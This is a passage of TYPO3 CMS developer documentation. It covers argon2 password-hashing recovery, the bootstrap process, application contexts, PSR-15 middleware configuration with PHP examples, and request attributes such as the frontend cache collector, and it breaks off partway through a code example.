If an instance has just been upgraded and if argon2i hash mechanism is not available locally, the default backend will still try to upgrade a given user password to argon2i if the install tool has not been executed once.

This typically happens if a system has just been upgraded and a backend login has been performed before the install tool has executed the silent configuration upgrade.

Solutions

Disable argon2 support in the install tool

Call the standalone install tool at example.org/typo3/install.php and log in once. This should detect that argon2 is not available and will configure a different default hash mechanism. A backend login should be possible afterwards.

If that won't do, you can change the hash mechanism in Admin Tools > Settings > Configuration Presets > Password hashing presets. This might be necessary if, for example, you moved your system to a different server where argon2 isn't available. Create a new user that uses the working algorithm.

Manually disable argon2 in the config/system/settings.php

This may be necessary if access to the install tool is not possible. This can happen when the first installation was done on a system with argon2 and the installation was then copied to a target system that doesn't support this encryption type.

Add or edit the following in your config/system/settings.php.

<?php
return [
   'BE' => [
      // ...
      // This pseudo password enables you to load the standalone install
      // tool to be able to generate a new hash value. Change the password
      // at once!
      'installToolPassword' => '$2y$12$AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',
      'passwordHashing' => [
         'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\BcryptPasswordHash',
         'options' => [],
      ],
   ],
   'FE' => [
      // ...
      'passwordHashing' => [
         'className' => 'TYPO3\\CMS\\Core\\Crypto\\PasswordHashing\\BcryptPasswordHash',
         'options' => [],
      ],
   ],
   // ...
];
Copied!

If this doesn't work then check file config/system/additional.php which overrides config/system/settings.php.

Bootstrapping

TYPO3 has a clean bootstrapping process driven mostly by class \TYPO3\CMS\Core\Core\Bootstrap . This class is initialized by calling Bootstrap::init() and serves as an entry point for later calling an application class, depending on several context-dependant constraints.

Each application class registers request handlers to run a certain request type (e.g. eID or Ajax requests in the backend). Each application is handed over the class loader provided by Composer.

Applications

There are four types of applications provided by the TYPO3 Core:

\TYPO3\CMS\Frontend\Http\Application

This class handles all incoming web requests coming through index.php in the public web directory. It handles all regular page and eID requests.

It checks if all configuration is set, otherwise redirects to the TYPO3 Install Tool.

\TYPO3\CMS\Backend\Http\Application

This class handles all incoming web requests for any regular backend call inside typo3/\*.

Its \TYPO3\CMS\Backend\Http\RequestHandler is used for all backend requests, including Ajax routes. If a get/post parameter "route" is set, the backend routing is called by the RequestHandler and searches for a matching route inside the router. The corresponding controller / action is called then which returns the response.

The Application checks if all configuration is set, otherwise it redirects to the TYPO3 Install Tool.

\TYPO3\CMS\Core\Console\CommandApplication

This class is the entry point for the TYPO3 command line for console commands. In addition to registering all available commands, this also sets up a CLI user.

\TYPO3\CMS\Install\Http\Application

The install tool Application only runs with a very limited bootstrap set up. The failsafe package manager does not take the ext_localconf.php of installed extensions into account.

Example of bootstrapping the TYPO3 Backend:

// Set up the application for the backend
call_user_func(function () {
    $classLoader = require dirname(__DIR__) . '/vendor/autoload.php';
    \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::run(1, \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder::REQUESTTYPE_BE);
    \TYPO3\CMS\Core\Core\Bootstrap::init($classLoader)->get(\TYPO3\CMS\Backend\Http\Application::class)->run();
});
Copied!

Initialization

Whenever a call to TYPO3 is made, the application goes through a bootstrapping process managed by a dedicated API. This process is also used in the frontend, but only the backend process is described here.

The following steps are performed during bootstrapping.

1. Initialize the class loader

This defines which autoloader to use.

2. Run SystemEnvironmentBuilder

The \TYPO3\CMS\Core\Core\SystemEnvironmentBuilder is responsible for setting up a system environment that is shared by all contexts (FE, BE, Install Tool and CLI). This class defines a large number of constants and global variables. If you want to have an overview of these base values, it is worth taking a look into the following methods:

  • SystemEnvironmentBuilder::defineTypo3RequestTypes() defines the different constants for determining if the current request is a frontend, backend, CLI, Ajax or Install Tool request.
  • SystemEnvironmentBuilder::defineBaseConstants() defines constants containing values such as the current version number, blank character codes and error codes related to services.
  • SystemEnvironmentBuilder::initializeEnvironment() initializes the Environment class that points to various parts of the TYPO3 installation like the absolute path to the typo3 directory or the absolute path to the installation root.
  • SystemEnvironmentBuilder::calculateScriptPath() calculates the script path. This is the absolute path to the entry script. This can be something like '.../public/index.php' for web calls, or '.../bin/typo3' or similar for CLI calls.
  • SystemEnvironmentBuilder::initializeGlobalVariables() sets some global variables as empty arrays.
  • SystemEnvironmentBuilder::initializeGlobalTimeTrackingVariables() defines special variables which contain, for example, the current time or a simulated time as may be set using the Admin Panel.

3. Initialize bootstrap

\TYPO3\CMS\Core\Core\Bootstrap boots up TYPO3 and returns a container that is later used to run an application. As a basic overview it does the following:

  • Bootstrap::initializeClassLoader() processes all the information available to be able to determine where to load classes from, including class alias maps which are used to map legacy class names to new class names.
  • Bootstrap::checkIfEssentialConfigurationExists() checks if crucial configuration elements have been set. If that is not the case, the installation is deemed incomplete and the user is redirected to the Install Tool.
  • Bootstrap::createConfigurationManager() creates the Configuration Manager which is then populated with the the main configuration ("TYPO3_CONF_VARS").
  • $builder->createDependencyInjectionContainer() creates a dependency injection container which is later returned by Bootstrap::init().
  • The caching framework and the package management are set up.
  • All configuration items from extensions are loaded
  • The database connection is established

4. Dispatch

After all that the, the newly created container receives the application object and Application::run() method is called, which basically dispatches the request to the right handler.

5. Initialization of the TYPO3 backend

The backend request handler then calls the MiddlewareDispatcher which then manages and dispatches a PSR-15 middleware stack. In the backend context this will typically go through such important steps like:

  • checking backend access: Is it locked? Does it have proper SSL setup?
  • loading the full TCA
  • verifying and initializing the backend user

Application context

Each request, no matter if it runs from the command line or through HTTP, runs in a specific application context. TYPO3 provides exactly three built-in contexts:

  • Production (default) - should be used for a live site
  • Development - used for development
  • Testing - is only used internally when executing TYPO3 Core tests. It must not be used otherwise.

The context TYPO3 runs in is specified through the environment variable TYPO3_CONTEXT. It can be set on the command line:

# run the TYPO3 CLI commands in development context
TYPO3_CONTEXT=Development ./bin/typo3
Copied!

or be part of the web server configuration:

# In your Apache configuration (either .htaccess or vhost)
# you can either set context to static value with:
SetEnv TYPO3_CONTEXT Development

# Or set context depending on current host header
# using mod_rewrite module
RewriteCond %{HTTP_HOST} ^dev\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Development]

RewriteCond %{HTTP_HOST} ^staging\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Production/Staging]

RewriteCond %{HTTP_HOST} ^www\.example\.com$
RewriteRule .? - [E=TYPO3_CONTEXT:Production]

# or using setenvif module
SetEnvIf Host "^dev\.example\.com$" TYPO3_CONTEXT=Development
SetEnvIf Host "^staging\.example\.com$" TYPO3_CONTEXT=Production/Staging
SetEnvIf Host "^www\.example\.com$" TYPO3_CONTEXT=Production
Copied!
# In your Nginx configuration, you can pass the context as a fastcgi parameter
location ~ \.php$ {
   include         fastcgi_params;
   fastcgi_index   index.php;
   fastcgi_param   TYPO3_CONTEXT  Development/Dev;
   fastcgi_param   SCRIPT_FILENAME  $document_root$fastcgi_script_name;
}
Copied!

Custom contexts

In certain situations, more specific contexts are desirable:

  • a staging system may run in a Production context, but requires a different set of credentials than the production server.
  • developers working on a project may need different application specific settings but prefer to maintain all configuration files in a common Git repository.

By defining custom contexts which inherit from one of the three base contexts, more specific configuration sets can be realized.

While it is not possible to add new "top-level" contexts at the same level like Production and Testing, you can create arbitrary sub-contexts, just by specifying them like <MainContext>/<SubContext>.

For a staging environment a custom context Production/Staging may provide the necessary settings while the Production/Live context is used on the live instance.

Usage example

The current Application Context is set very early in the bootstrap process and can be accessed through public API for example in the config/system/additional.php file to automatically set different configuration for different contexts.

In file config/system/additional.php:

switch (\TYPO3\CMS\Core\Core\Environment::getContext()) {
   case 'Development':
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = 1;
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '*';
      break;
   case 'Production/Staging':
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = 0;
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '192.168.1.*';
      break;
   default:
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = 0;
      $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'] = '127.0.0.1';
}
Copied!

Middlewares (Request handling)

TYPO3 has implemented PSR-15 for handling incoming HTTP requests. The implementation within TYPO3 is often called "Middlewares", as PSR-15 consists of two interfaces where one is called Middleware.

Basic concept

The most important information is available at https://www.php-fig.org/psr/psr-15/ and https://www.php-fig.org/psr/psr-15/meta/ where the standard itself is explained.

The idea is to use PSR-7 Request and Response as a base, and wrap the execution with middlewares which implement PSR-15. PSR-15 will receive the incoming request and return the created response. Within PSR-15 multiple request handlers and middlewares can be executed. Each of them can adjust the request and response.

TYPO3 implementation

TYPO3 has implemented the PSR-15 approach in the following way:

Middleware AMiddleware BApplicationServerRequestFactoryMiddlewareStackResolverMiddlewareDispatcher .. Generated ..MiddlewareA.. Generated ..MiddlewareB.Frontend.Backend.ApplicationApplicationServerRequestFactoryServerRequestFactoryMiddlewareStackResolverMiddlewareStackResolverMiddlewareDispatcher(RequestHandlerInterface)MiddlewareDispatcher(RequestHandlerInterface)«Generated»AnonymousRequestHandler«Generated»AnonymousRequestHandlerMiddlewareAMiddlewareA«Generated»AnonymousRequestHandler«Generated»AnonymousRequestHandlerMiddlewareBMiddlewareB(Frontend|Backend)RequestHandler(Frontend|Backend)RequestHandlerEvery Middlewareis wrapped inan anonymousRequestHandlerAlways the lastRequestHandlerin the stack1fromGlobals()1Request2resolve()3Stack4handle(Request)4handle(Request)5process(Request,next RequestHandler)5handle(Request)5process(Request,next RequestHandler)6handle(Request)6Response7Response7Response7Response8Response8Response
Figure 1-1: Application flow
  1. TYPO3 will create a TYPO3 request object.
  2. TYPO3 will collect and sort all configured PSR-15 middlewares.
  3. TYPO3 will convert all middlewares to PSR-15 request handlers.
  4. TYPO3 will call the first middleware with request and the next middleware.
  5. Each middleware can modify the request if needed, see Middlewares.
  6. Final Request is passed to the last RequestHandler (\TYPO3\CMS\Frontend\Http\RequestHandler or \TYPO3\CMS\Backend\Http\RequestHandler) which generates PSR-7 response and passes it back to the last middleware.
  7. Each middleware gets back a PSR-7 response from middleware later in the stack and passes it up the stack to the previous middleware. Each middleware can modify the response before passing it back.
  8. This response is passed back to the execution flow.

Middlewares

Each middleware has to implement the PSR-15 \Psr\Http\Server\MiddlewareInterface :

interface MiddlewareInterface
Fully qualified name
\Psr\Http\Server\MiddlewareInterface

Participant in processing a server request and response.

An HTTP middleware component participates in processing an HTTP message: by acting on the request, generating the response, or forwarding the request to a subsequent middleware and possibly acting on its response.

process ( \Psr\Http\Message\ServerRequestInterface $request, \Psr\Http\Server\RequestHandlerInterface $handler)

Process an incoming server request.

Processes an incoming server request in order to produce a response. If unable to produce the response itself, it may delegate to the provided request handler to do so.

param $request

the request

param $handler

the handler

Returns
\Psr\Http\Message\ResponseInterface

By doing so, the middleware can do one or multiple of the following:

  • Adjust the incoming request, e.g. add further information.
  • Create and return a PSR-7 response.
  • Call next request handler (which again can be a middleware).
  • Adjust response received from the next request handler.

Using Extbase

One note about using Extbase in middlewares: do not! Extbase relies on frontend TypoScript being present; otherwise the configuration is not applied. This is usually no problem - Extbase plugins are typically either included as USER content object (its content is cached and returned together with other content elements in fully-cached page context), or the Extbase plugin is registered as USER_INT. In this case, the TYPO3 Core takes care of calculating TypoScript before the plugin is rendered, while other USER content objects are fetched from page cache.

With TYPO3 v11, the "calling Extbase in a context where TypoScript has not been calculated" scenario did not fail, but simply returned an empty array for TypoScript, crippling the configuration of the plugin in question. This mitigation hack has been removed in TYPO3 v13, though. Extension developers that already use Extbase in a middleware have the following options:

  • Consider not using Extbase for the use case: Extbase is quite expensive. Executing it from within middlewares can increase the parse time in fully-cached page context significantly and should be avoided especially for "simple" things. In many cases, directly manipulating the response object and skipping the Extbase overhead in a middleware should be enough.
  • Move away from the middleware and register the Extbase instance as a casual USER_INT object via TypoScript: Extbase is designed to be executed like this, the bootstrap will take care of properly calculating TypoScript, and Extbase will run as expected.

    Note that with TYPO3 v12, the overhead of USER_INT content objects has been reduced significantly, since TypoScript can be fetched from improved cache layers more quickly. This is also more resilient towards core changes since extension developers do not need to go through the fiddly process of bootstrapping Extbase on their own.

Middleware examples

The following list shows typical use cases for middlewares.

Returning a custom response

This middleware checks whether foo/bar was called and will return an unavailable response in that case. Otherwise the next middleware will be called, and its response is returned instead.

<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Middleware;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\Controller\ErrorController;

class NotAvailableMiddleware implements MiddlewareInterface
{
    public function process(
        ServerRequestInterface $request,
        RequestHandlerInterface $handler,
    ): ResponseInterface {
        if ($request->getRequestTarget() === 'foo/bar') {
            return GeneralUtility::makeInstance(ErrorController::class)
                ->unavailableAction(
                    $request,
                    'This page is temporarily unavailable.',
                );
        }

        return $handler->handle($request);
    }
}
Copied!

Enriching the request

The current request can be extended with further information, e.g. the current resolved site and language could be attached to the request.

In order to do so, a new request is built with additional attributes, before calling the next request handler with the enhanced request.

<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Middleware;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;
use TYPO3\CMS\Core\Routing\RouterInterface;

class RequestEnrichingMiddleware implements MiddlewareInterface
{
    public function __construct(
        private readonly RouterInterface $matcher,
    ) {}

    public function process(
        ServerRequestInterface $request,
        RequestHandlerInterface $handler,
    ): ResponseInterface {
        $routeResult = $this->matcher->matchRequest($request);

        $request = $request->withAttribute('site', $routeResult->getSite());
        $request = $request->withAttribute('language', $routeResult->getLanguage());

        return $handler->handle($request);
    }
}
Copied!

Enriching the response

This middleware will check the length of generated output, and add a header with this information to the response.

In order to do so, the next request handler is called. It will return the generated response, which can be enriched before it gets returned.

If you want to modify the response coming from certain middleware, your middleware has to be configured to be before it. Order of processing middlewares when enriching response is opposite to when middlewares are modifying the request.

<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Middleware;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;

class RequestEnrichingMiddleware implements MiddlewareInterface
{
    public function process(
        ServerRequestInterface $request,
        RequestHandlerInterface $handler,
    ): ResponseInterface {
        $response = $handler->handle($request);

        if ($request->getRequestTarget() === 'foo/bar') {
            $response = $response->withHeader(
                'Content-Length',
                (string)$response->getBody()->getSize(),
            );
        }

        return $response;
    }
}
Copied!

Configuring middlewares

In order to implement a custom middleware, this middleware has to be configured. TYPO3 already provides some middlewares out of the box. Beside adding your own middlewares, it's also possible to remove existing middlewares from the configuration.

The configuration is provided within Configuration/RequestMiddlewares.php of an extension:

EXT:some_extension/Configuration/RequestMiddlewares.php
return [
    'frontend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\ConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
    'backend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\AnotherConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
];
Copied!

TYPO3 has multiple stacks where one middleware might only be necessary in one of them. Therefore the configuration defines the context on its first level to define the context. Within each context the middleware is registered as new subsection with an unique identifier as key.

The default stacks are: frontend and backend.

Each middleware consists of the following options:

target

PHP string

FQCN (=Fully Qualified Class Name) to use as middleware.

before

PHP Array

List of middleware identifiers. The middleware itself is executed before any other middleware within this array.

after

PHP Array

List of middleware identifiers. The middleware itself is executed after any other middleware within this array.

disabled

PHP boolean

Allows to disable specific middlewares.

The before and after configuration is used to sort middlewares in form of a stack. You can check the calculated order in the configuration module in TYPO3 Backend.

Middleware which is configured before another middleware (higher in the stack) wraps execution of following middlewares. Code written before $handler->handle($request); in the process method can modify the request before it's passed to the next middlewares. Code written after $handler->handle($request); can modify the response provided by next middlewares.

Middleware which is configured after another (e.g. MiddlewareB from the diagram above), will see changes to the request made by previous middleware (MiddlewareA), but will not see changes made to the response from MiddlewareA.

Override ordering of middlewares

To change the ordering of middlewares shipped by the Core an extension can override the registration in Configuration/RequestMiddlewares.php:

EXT:some_extension/Configuration/RequestMiddlewares.php
<?php

return [
    'frontend' => [
        'middleware-identifier' => [
            'after' => [
                'another-middleware-identifier',
            ],
            'before' => [
                '3rd-middleware-identifier',
            ],
        ],
    ],
];
Copied!

However, this could lead to circular ordering depending on the ordering constraints of other middlewares. Alternatively an existing middleware can be disabled and reregistered again with a new identifier. This will circumvent the risk of circularity:

EXT:some_extension/Configuration/RequestMiddlewares.php
<?php

return [
    'frontend' => [
        'middleware-identifier' => [
            'disabled' => true,
        ],
        'overwrite-middleware-identifier' => [
            'target' => \MyVendor\SomeExtension\Middleware\MyMiddleware::class,
            'after' => [
                'another-middleware-identifier',
            ],
            'before' => [
                '3rd-middleware-identifier',
            ],
        ],
    ],
];
Copied!
EXT:some_extension/Configuration/RequestMiddlewares.php
<?php

return [
    'frontend' => [
        'middleware-identifier' => [
            'after' => [
                'another-middleware-identifier',
            ],
            'before' => [
                '3rd-middleware-identifier',
            ],
        ],
    ],
];
Copied!

Creating new request / response objects

PSR-17 HTTP Factory interfaces are provided by psr/http-factory and should be used as dependencies for PSR-15 request handlers or services that need to create PSR-7 message objects.

It is discouraged to explicitly create PSR-7 instances of classes from the \TYPO3\CMS\Core\Http namespace (they are not public APIs). Instead, use type declarations against PSR-17 HTTP Message Factory interfaces and dependency injection.

Example

A middleware that needs to send a JSON response when a certain condition is met, uses the PSR-17 response factory interface (the concrete TYPO3 implementation is injected as a constructor dependency) to create a new PSR-7 response object:

EXT:some_extension/Classes/Middleware/StatusCheckMiddleware.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Middleware;

use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;

class StatusCheckMiddleware implements MiddlewareInterface
{
    /** @var ResponseFactoryInterface */
    private $responseFactory;

    public function __construct(ResponseFactoryInterface $responseFactory)
    {
        $this->responseFactory = $responseFactory;
    }

    public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
    {
        if ($request->getRequestTarget() === '/check') {
            $data = ['status' => 'ok'];
            $response = $this->responseFactory->createResponse()
                ->withHeader('Content-Type', 'application/json; charset=utf-8');
            $response->getBody()->write(json_encode($data));
            return $response;
        }
        return $handler->handle($request);
    }
}
Copied!

Executing HTTP requests in middlewares

The PSR-18 HTTP Client is intended to be used by PSR-15 request handlers in order to perform HTTP requests based on PSR-7 message objects without relying on a specific HTTP client implementation.

PSR-18 consists of a client interface and three exception interfaces:

  • \Psr\Http\Client\ClientInterface
  • \Psr\Http\Client\ClientExceptionInterface
  • \Psr\Http\Client\NetworkExceptionInterface
  • \Psr\Http\Client\RequestExceptionInterface

Request handlers use dependency injection to retrieve the concrete implementation of the PSR-18 HTTP client interface \Psr\Http\Client\ClientInterface .

The PSR-18 HTTP Client interface is provided by psr/http-client and may be used as dependency for services in order to perform HTTP requests using PSR-7 request objects. PSR-7 request objects can be created with the PSR-17 Request Factory interface.

Example usage

A middleware might need to request an external service in order to transform the response into a new response. The PSR-18 HTTP client interface is used to perform the external HTTP request. The PSR-17 Request Factory Interface is used to create the HTTP request that the PSR-18 HTTP Client expects. The PSR-7 Response Factory is then used to create a new response to be returned to the user. All of these interface implementations are injected as constructor dependencies:

EXT:some_extension/Classes/Middleware/ExampleMiddleware.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Middleware;

use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\ResponseFactoryInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;

class ExampleMiddleware implements MiddlewareInterface
{
    public function __construct(
        private readonly ResponseFactoryInterface $responseFactory,
        private readonly RequestFactoryInterface $requestFactory,
        private readonly ClientInterface $client,
    ) {}

    public function process(ServerRequestInterface $request, RequestHandlerInterface $handler): ResponseInterface
    {
        if ($request->getRequestTarget() === '/example') {
            $req = $this->requestFactory->createRequest('GET', 'https://api.external.app/endpoint.json');
            // Perform HTTP request
            $res = $this->client->sendRequest($req);
            // Process data
            $data = [
                'content' => json_decode((string)$res->getBody()),
            ];
            $response = $this->responseFactory->createResponse()
                ->withHeader('Content-Type', 'application/json; charset=utf-8');
            $response->getBody()->write(json_encode($data));
            return $response;
        }
        return $handler->handle($request);
    }
}
Copied!

Debugging

In order to see which middlewares are configured and to see the order of execution, TYPO3 offers a the menu entry HTTP Middlewares (PSR-15) within the "Configuration" module:

TYPO3 configuration module listing configured middlewares.

TYPO3 request object

The TYPO3 request object is an implementation of the PSR-7 based \Psr\Http\Message\ServerRequestInterface containing TYPO3-specific attributes.

Getting the PSR-7 request object

The PSR-7 based request object is available in most contexts. In some scenarios, like PSR-15 middlewares or backend module controllers, the PSR-7 base request object is given as argument to the called method.

Extbase controller

The request object compatible with the PSR-7 \Psr\Http\Message\ServerRequestInterface is available in an Extbase controller via the class property $this->request:

EXT:my_extension/Classes/Controller/MyController.php
use Psr\Http\Message\ResponseInterface;
use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

final class MyController extends ActionController
{
    // ...

    public function myAction(): ResponseInterface
    {
        // ...

        // Retrieve the language attribute via the request object
        $language = $this->request->getAttribute('language');

        // ...
    }
}
Copied!

Extbase validator

New in version 13.2

Extbase AbstractValidator provides a getter and a setter for the PSR-7 Request object.

In Extbase validators the current request is available with $this->getRequest() if they extend the AbstractValidator :

EXT:my_extension/Classes/Domain/Validators/MyCustomValidator.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Domain\Validators;

use TYPO3\CMS\Core\Site\Entity\Site;
use TYPO3\CMS\Extbase\Validation\Validator\AbstractValidator;

final class MyCustomValidator extends AbstractValidator
{
    protected function isValid(mixed $value): void
    {
        /** @var ?Site $site */
        $site = $this->getRequest()?->getAttribute('site');
        $siteSettings = $site?->getSettings() ?? [];
        // TODO: Implement isValid() method using site settings
    }
}
Copied!

ViewHelper

Changed in version 14.0

The following methods have been removed with TYPO3 v14:

  • TYPO3\CMS\Fluid\Core\Rendering\RenderingContext->setRequest()
  • TYPO3\CMS\Fluid\Core\Rendering\RenderingContext->getRequest()

In a ViewHelper you can get the rendering request from the rendering context if it is set.

EXT:my_extension/Classes/ViewHelpers/MyViewHelper.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\ViewHelpers;

use Psr\Http\Message\ServerRequestInterface;
use TYPO3Fluid\Fluid\Core\ViewHelper\AbstractViewHelper;

final class MyViewHelper extends AbstractViewHelper
{
    public function render(): string
    {
        $request = $this->getRequest($this->renderingContext);
        return $request !== null ? 'Request found' : 'No request found';
    }

    private function getRequest(): ServerRequestInterface|null
    {
        if ($this->renderingContext->hasAttribute(ServerRequestInterface::class)) {
            return $this->renderingContext->getAttribute(ServerRequestInterface::class);
        }
        return null;
    }
}
Copied!

User function

In a TypoScript user function the request object is available as third parameter of the called class method:

EXT:my_extension/Classes/UserFunction/MyUserFunction.php
use Psr\Http\Message\ServerRequestInterface;

final class MyUserFunction
{
    public function doSomething(
        string $content,
        array $conf,
        ServerRequestInterface $request
    ): string {
        // ...

        // Retrieve the language attribute via the request object
        $language = $request->getAttribute('language');

        // ...
    }
}
Copied!

Data processor

A data processor receives a reference to the \TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer as first argument for the process() method. This object provides a getRequest() method:

EXT:my_extension/Classes/DataProcessing/MyProcessor.php
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;
use TYPO3\CMS\Frontend\ContentObject\DataProcessorInterface;

final class MyProcessor implements DataProcessorInterface
{
    public function process(
        ContentObjectRenderer $cObj,
        array $contentObjectConfiguration,
        array $processorConfiguration,
        array $processedData
    ): array {
        $request = $cObj->getRequest();

        // ...
    }
}
Copied!

Console command

Within a Console command (CLI) there is no request available. See also https://forge.typo3.org/issues/105554

If a request is needed initialize one as described in Initialize a frontend request in a console command.

Last resort: global variable

TYPO3 provides the request object also in the global variable $GLOBALS['TYPO3_REQUEST']. Whenever it is possible the request should be retrieved within the contexts described above. But this is not always possible by now.

When using the global variable, it should be wrapped into a getter method:

// use Psr\Http\Message\ServerRequestInterface;

private function getRequest(): ServerRequestInterface
{
    return $GLOBALS['TYPO3_REQUEST'];
}
Copied!

This way, it is only referenced once. It can be cleaned up later easily when the request object is made available in that context in a future TYPO3 version.

Attributes

Attributes enriches the request with further information. TYPO3 provides attributes which can be used in custom implementations.

The attributes can be retrieved via

// Get all available attributes
$allAttributes = $request->getAttributes();

// Get only a specific attribute, here the site entity in frontend context
$site = $request->getAttribute('site');
Copied!

The request object is also available as a global variable in $GLOBALS['TYPO3_REQUEST']. This is a workaround for the Core which has to access the server parameters at places where $request is not available. So, while this object is globally available during any HTTP request, it is considered bad practice to use this global object, if the request is accessible in another, official way. The global object is scheduled to vanish at a later point once the code has been refactored enough to not rely on it anymore.

The following attributes are available in frontend context:

The following attributes are available in backend context:

Application type

The applicationType request attribute helps to answer the question: "Is this a frontend or backend request?". It is available in a frontend and backend context.

1
It is a frontend request.
2
It is a backend request.

Example:

$applicationType = $request->getAttribute('applicationType');
if ($applicationType === 1) {
    // We are in frontend context
} else {
    // We are in backend context
}
Copied!

Current content object

Instances with Extbase controllers may need to retrieve data from the current content object that initiated the frontend Extbase plugin call.

In this case, controllers can access the current content object from the Extbase request object.

Example:

/**
 * @var \TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer $currentContentObject
 */
$currentContentObject = $request->getAttribute('currentContentObject');
// ID of current tt_content record
$uid = $currentContentObject->data['uid'];
Copied!

Frontend cache collector

New in version 13.3

This request attribute is a replacement for TypoScriptFrontendController->addCacheTags() and TypoScriptFrontendController->getPageCacheTags() which has been deprecated with TYPO3 v13.3 and removed with TYPO3 v14.0.

An API is available to collect cache tags and their corresponding lifetime. This API is used in TYPO3 to accumulate cache tags from page cache and content object cache.

The API is implemented as a PSR-7 request attribute frontend.cache.collector.

Every cache tag has a lifetime. The minimum lifetime is calculated from all given cache tags. API users do not have to deal with it individually.

The default lifetime for a cache tag is PHP_INT_MAX, so it expires many years in the future.

Example: Add a single cache tag

// use TYPO3\CMS\Core\Cache\CacheTag;

$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->addCacheTags(
    new CacheTag('tx_myextension_mytable'),
);
Copied!

Example: Add multiple cache tags with different lifetimes

// use TYPO3\CMS\Core\Cache\CacheTag;

$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->addCacheTags(
    new CacheTag('tx_myextension_mytable_123', 3600),
    new CacheTag('tx_myextension_mytable_456', 2592000),
);
Copied!

Example: Remove a single cache tag

// use TYPO3\CMS\Core\Cache\CacheTag;

$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->removeCacheTags(
    new CacheTag('tx_myextension_mytable_123'),
);
Copied!

Example: Remove multiple cache tags

// use TYPO3\CMS\Core\Cache\CacheTag;

$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->removeCacheTags(
    new CacheTag('tx_myextension_mytable_123'),
    new CacheTag('tx_myextension_mytable_456'),
);
Copied!

Example: Get minimum lifetime, calculated from all cache tags

Get minimum lifetime, calculated from all cache tags
$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->resolveLifetime();
Copied!

Example: Get all cache tags

$cacheDataCollector = $request->getAttribute('frontend.cache.collector');
$cacheDataCollector->getCacheTags();
Copied!

API

class CacheDataCollector
Fully qualified name
\TYPO3\CMS\Core\Cache\CacheDataCollector
getCacheTags ( )
Returns
\CacheTag[]
addCacheTags ( \TYPO3\CMS\Core\Cache\CacheTag ...$cacheTags)
param $cacheTags

the cacheTags

removeCacheTags ( \TYPO3\CMS\Core\Cache\CacheTag ...$cacheTags)
param $cacheTags

the cacheTags

restrictMaximumLifetime ( int $lifetime)
param $lifetime

the lifetime

resolveLifetime ( )
Returns
int
enqueueCacheEntry ( \TYPO3\CMS\Core\Cache\CacheEntry $deferredCacheItem)
param $deferredCacheItem

the deferredCacheItem

getCacheEntries ( )
Returns
\CacheEntry[]

Frontend cache instruction

New in version 13.0

This request attribute is a replacement for the removed TypoScriptFrontendController->no_cache property.

The frontend.cache.instruction frontend request attribute can be used by middlewares to disable cache mechanics of frontend rendering.

In early middlewares before typo3/cms-frontend/tsfe, the attribute may or may not exist already. A safe way to interact with it is like this:

EXT:my_extension/Classes/Middleware/MyEarlyMiddleware.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Middleware;

use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\MiddlewareInterface;
use Psr\Http\Server\RequestHandlerInterface;
use TYPO3\CMS\Frontend\Cache\CacheInstruction;

final class MyEarlyMiddleware implements MiddlewareInterface
{
    public function process(
        ServerRequestInterface $request,
        RequestHandlerInterface $handler,
    ): ResponseInterface {
        // Get the attribute, if not available, use a new CacheInstruction object
        $cacheInstruction = $request->getAttribute(
            'frontend.cache.instruction',
            new CacheInstruction(),
        );

        // Disable the cache and give a reason
